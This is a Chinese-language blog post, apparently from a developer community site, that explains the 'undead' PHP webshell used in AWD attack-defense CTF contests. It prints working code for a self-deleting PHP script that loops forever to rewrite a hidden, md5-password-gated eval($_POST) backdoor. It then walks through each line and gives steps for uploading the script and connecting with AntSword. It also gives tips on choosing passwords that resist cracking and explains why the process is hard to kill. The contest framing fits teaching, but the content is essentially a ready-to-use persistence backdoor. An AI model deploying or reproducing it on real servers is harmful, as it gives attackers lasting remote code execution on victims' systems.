前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >不死马的原理和利用

不死马的原理和利用

作者头像
vFREE
发布2021-12-20 21:39:50
4.5K0
发布2021-12-20 21:39:50
举报
文章被收录于专栏:博客原创文章博客原创文章

何谓不死马,顾名思义就是不死,不死马广泛应用与AWD中或者其他的维持权限的手法中,不死马简直就是一句话木马的升级版本,一句话木马和不死马相比较起来,安全性做的很GOOD!!!

在以往的一句话木马中,密码简单方便呈现给了用户,如果在AWD中,知道了密码的话,就可以反手打一波其他的主机,因为如果是被批量种马的话,所有人都一样,这也就是"骑马",在很多场比赛中,我的队伍(自由公式)都是利用一句话木马去反打其他的队伍一波

不死马原型

代码语言:javascript
复制
<?php
ignore_user_abort(true);
    set_time_limit(0);
    @unlink(__FILE__);
    $file = '.ZYGS.php';
    $code = '<?php if(md5($_GET["zygs"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["ZYGS"]);}?>';
    while (1){
        file_put_contents($file,$code);
        usleep(5000);
    }
?>

解析

代码语言:javascript
复制
ignore_user_abort(true);   //设置与远程客户端断开后是否继续执行脚本,true即不断开
set_time_limit(0);   //设置脚本最大的执行时间,0即没有时间限制
@unlink(__FILE__);   //删除文件本身
$file = '.ZYGS.php';   //文件名是.ZYGS.php
$code = <?php ?>;   //php代码
file_get_contents(file,code);   //打开file文件,然后写入code
usleep(5000);   //每隔usleep(5000)写入一个新文件

unlink就是为了删除传入的不死马文件,避免一些不必要的信息泄露出去,$file中可以规定你要不断生成的文件名,usleep(time)是生成木马的时间,这也是不死马的灵魂之一,通过不断生成文件在当前目录下,形成了不死马,不死马是一个进程,所以往往要重启主机或重启服务才能kill掉,当然,也可以条件竞争

代码语言:javascript
复制
<?php if(md5($_GET["zygs"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["ZYGS"]);}?>

这段代码是为了防止骑马(乌鸦坐飞机),通过判断用户传入的变量,然后转换成md5值和e10adc3949ba59abbe56e057f20f883e进行对比,如果e10adc3949ba59abbe56e057f20f883e解密出来的值和用户传入的值是一样的话,就继续执行@eval($_POST['ZYGS']),这也是整个不死马中的灵魂,就是为了防止乌鸦坐飞机,一个人拿分

(e10adc3949ba59abbe56e057f20f883e == 123456)

"食"用方法

服务器IP:123.321.123.321

文件名:.zygs.php

路径:123.321.123.321/upload/

当不死马成功上传到服务器之后,访问文件路径 123.321.123.321/upload/.zygs.php,此时已经开始生成不死马.ZYGS.php了,并且传入的.zygs.php已经被unlink删除

然后打开蚁剑,输入123.321.123.321/upload/.ZYGS.php?zygs=123456,密码就是ZYGS,直接连接就完事了

为了防止乌鸦坐飞机,md5值可以用一些在线网站破解不出来的明文

比如说:

代码语言:javascript
复制
qwefgh == bad6f5e2b87ed9ff582334de61f17312
wellmd5 == 10bfc254c3d93fc3761f51ba40f8d4b9
......

$file后面的值设置成你要生成的文件名,连接也是用这个文件名字,就好像是.ZYGS.php

经过md5值的加密,以及不断生成木马文件,便成为了维持权限的好物,在bugku的AWD中,给种下不死马的话,要么重启服务,要么重启机器,要么进行条件竞争,再要么就去kill进程,重启服务再bugku的AWD中不太现实,毕竟没有权限,重启机器还是可以的,100分一次,条件竞争的话,还没有试过,也不知道不死马隔多久生成一个,kill进程的话,kill不完的

注:部分图片源自于网络,如有侵权,请联系删除!!!谢谢

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档